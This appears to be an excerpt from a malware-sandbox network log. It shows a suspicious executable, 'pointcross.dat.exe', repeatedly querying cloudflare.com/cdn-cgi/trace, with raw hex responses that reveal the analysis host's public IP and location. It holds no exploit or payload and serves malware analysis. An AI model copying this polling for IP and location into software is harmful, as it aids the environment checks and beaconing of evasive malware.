              2023-11-27 09:12:23 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 32 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 63 62 35 39 63 33 38 32 65 64 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:23 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93fcb59c382ed-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:23 UTC222INData Raw: 64 38 0d 0a 66 6c 3d 34 31 33 66 34 32 34 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 34 33 2e 35 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 30 31 30 2d 74 69 65 72 31 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d8fl=413f424h=cloudflare.comip=89.149.18.60ts=1701076343.58visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=010-tier1http=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:23 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              8192.168.2.449745104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:28 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:28 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 32 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 65 63 36 66 39 37 35 39 35 62 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:28 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93fec6f97595b-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:28 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 33 35 30 66 31 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 34 38 2e 38 36 32 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=350f15h=cloudflare.comip=89.149.18.60ts=1701076348.862visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:28 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              9192.168.2.449746104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:32 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:32 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 30 35 33 65 64 66 30 35 65 37 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:32 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c940053edf05e7-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:32 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 33 35 32 66 35 34 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 35 32 2e 38 33 32 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=352f54h=cloudflare.comip=89.149.18.60ts=1701076352.832visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:32 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              10192.168.2.449747104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:36 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:36 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 33 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 31 64 66 62 64 34 31 33 31 38 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:36 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9401dfbd41318-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:36 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 31 36 66 31 31 33 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 35 36 2e 37 39 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=16f1135h=cloudflare.comip=89.149.18.60ts=1701076356.798visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:36 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              11192.168.2.449748104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:40 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:40 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 33 36 63 38 61 62 30 61 61 66 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:40 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c94036c8ab0aaf-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:40 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 31 36 66 31 32 32 38 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 36 30 2e 37 36 36 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=16f1228h=cloudflare.comip=89.149.18.60ts=1701076360.766visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:40 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              12192.168.2.449749104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:44 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:44 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 34 66 38 39 39 63 32 30 30 61 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:44 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9404f899c200a-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:44 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 36 30 31 66 33 30 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 36 34 2e 37 32 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=601f30h=cloudflare.comip=89.149.18.60ts=1701076364.728visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:44 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              13192.168.2.449750104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:49 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:50 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 35 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 37 30 62 61 35 30 30 35 66 39 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:50 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c94070ba5005f9-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:50 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 35 37 33 66 32 36 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 37 30 2e 30 34 32 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=573f26h=cloudflare.comip=89.149.18.60ts=1701076370.042visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:50 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              14192.168.2.449752104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:53 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:54 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 38 39 39 39 35 62 38 31 61 30 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:54 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c94089995b81a0-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:54 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 33 35 34 66 32 31 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 37 34 2e 30 31 32 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=354f215h=cloudflare.comip=89.149.18.60ts=1701076374.012visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:54 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              15192.168.2.449753104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:57 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:58 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 61 32 37 38 65 35 32 64 32 30 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:57 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c940a278e52d20-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:58 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 36 30 31 66 31 38 36 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 37 37 2e 39 39 35 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=601f186h=cloudflare.comip=89.149.18.60ts=1701076377.995visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:58 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              16192.168.2.449754104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:01 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
